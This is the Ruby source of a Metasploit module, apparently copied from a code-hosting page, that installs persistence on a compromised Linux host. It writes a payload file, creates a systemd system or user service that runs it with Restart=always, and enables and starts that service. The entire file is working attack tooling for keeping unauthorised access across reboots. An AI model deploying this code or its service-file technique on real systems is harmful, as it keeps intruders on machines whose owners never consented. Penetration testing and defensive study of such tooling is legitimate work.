Path: blob/master/modules/exploits/linux/persistence/init_systemd.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::FileDropper11include Msf::Exploit::EXE # for generate_payload_exe12include Msf::Post::Linux::User # get_home_dir13include Msf::Exploit::Local::Persistence14prepend Msf::Exploit::Remote::AutoCheck15include Msf::Exploit::Deprecated16moved_from 'exploits/linux/local/service_persistence'1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Service SystemD Persistence',23'Description' => %q{24This module will create a service on the box, and mark it for auto-restart.25We need enough access to write service files and potentially restart services26Targets:27CentOS 728Debian >= 7, <=829Fedora >= 1530Ubuntu >= 15.0431Verified on Ubuntu 18.04.332},33'License' => MSF_LICENSE,34'Author' => [35'h00die <[email protected]>',36'Cale Black' # user target37],38'Platform' => ['unix', 'linux'],39'Privileged' => true,40'Targets' => [41['systemd', {}],42['systemd user', {}]43],44'DefaultTarget' => 0,45'Arch' => [46ARCH_CMD,47ARCH_X86,48ARCH_X64,49ARCH_ARMLE,50ARCH_AARCH64,51ARCH_PPC,52ARCH_MIPSLE,53ARCH_MIPSBE54],55'References' => [56['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],57['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'],58['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]59],60'SessionTypes' => ['shell', 'meterpreter'],61'Notes' => {62'Stability' => [CRASH_SAFE],63'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],64'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]65},66'DisclosureDate' => '2010-03-30' # systemd release date67)68)6970register_options(71[72OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),73OptString.new('SERVICE', [false, 'Name of service to create']),74OptString.new('USER', [ false, 'User to target, or current user if blank', '' ], conditions: ['Targets', '==', 'systemd user']),75]76)77register_advanced_options(78[79OptBool.new('EnableService', [true, 'Enable the service', true])80]81)82end8384def check85print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')86print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root?87return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)88return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)89return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl')9091CheckCode::Appears("#{writable_dir} is writable and system is systemd based")92end9394def target_user95return datastore['USER'] unless datastore['USER'].blank?9697whoami98end99100def install_persistence101print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')102backdoor = write_shell(writable_dir)103104path = backdoor.split('/')[0...-1].join('/')105file = backdoor.split('/')[-1]106case target.name107when 'systemd'108systemd(path, file)109when 'systemd user'110systemd_user(path, file)111end112end113114def write_shell(path)115file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)116backdoor = "#{path}/#{file_name}"117vprint_status("Writing backdoor to #{backdoor}")118if payload.arch.first == 'cmd'119write_file(backdoor, payload.encoded)120chmod(backdoor, 0o755)121else122upload_and_chmodx backdoor, generate_payload_exe123end124@clean_up_rc << "rm #{backdoor}\n"125126fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)127128backdoor129end130131def service_file(exec, target = 'multi-user.target')132<<~EOF133[Unit]134Description=Start daemon at boot time135After=136Requires=137[Service]138RestartSec=10s139Restart=always140TimeoutStartSec=5141RemainAfterExit=yes142ExecStart=#{exec}143[Install]144WantedBy=#{target}145EOF146end147148def systemd(backdoor_path, backdoor_file)149if payload.arch.first == 'cmd'150script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}")151else152script = service_file("#{backdoor_path}/#{backdoor_file}")153end154155service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)156service_name = "/lib/systemd/system/#{service_filename}.service"157vprint_status("Writing service: #{service_name}")158write_file(service_name, script)159160fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)161162@clean_up_rc << "rm #{service_name}\n"163if datastore['EnableService']164vprint_status('Enabling service')165cmd_exec("systemctl enable #{service_filename}.service")166end167vprint_status('Starting service')168cmd_exec("systemctl start #{service_filename}.service")169end170171def systemd_user(backdoor_path, backdoor_file)172if payload.arch.first == 'cmd'173script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}", 'default.target')174else175script = service_file("#{backdoor_path}/#{backdoor_file}", 'default.target')176end177service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)178179user = target_user180home = get_home_dir(user)181vprint_status('Creating user service directory')182cmd_exec("mkdir -p #{home}/.config/systemd/user")183184service_name = "#{home}/.config/systemd/user/#{service_filename}.service"185vprint_status("Writing service: #{service_name}")186187write_file(service_name, script)188@clean_up_rc << "rm #{service_name}\n"189190if !file_exist?(service_name)191print_error('File not written, check permissions. Attempting secondary location')192vprint_status('Creating user secondary service directory')193cmd_exec("mkdir -p #{home}/.local/share/systemd/user")194195service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"196vprint_status("Writing .local service: #{service_name}")197write_file(service_name, script)198fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)199@clean_up_rc << "rm #{service_name}\n"200end201202# This was taken from pam_systemd(8)203systemd_socket_id = cmd_exec('id -u')204systemd_socket_dir = "/run/user/#{systemd_socket_id}"205vprint_status('Reloading manager configuration')206cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")207208if datastore['EnableService']209vprint_status('Enabling service')210cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")211end212213vprint_status("Starting service: #{service_filename}")214# Prefer restart over start, as it will execute already existing service files215cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")216end217end218219220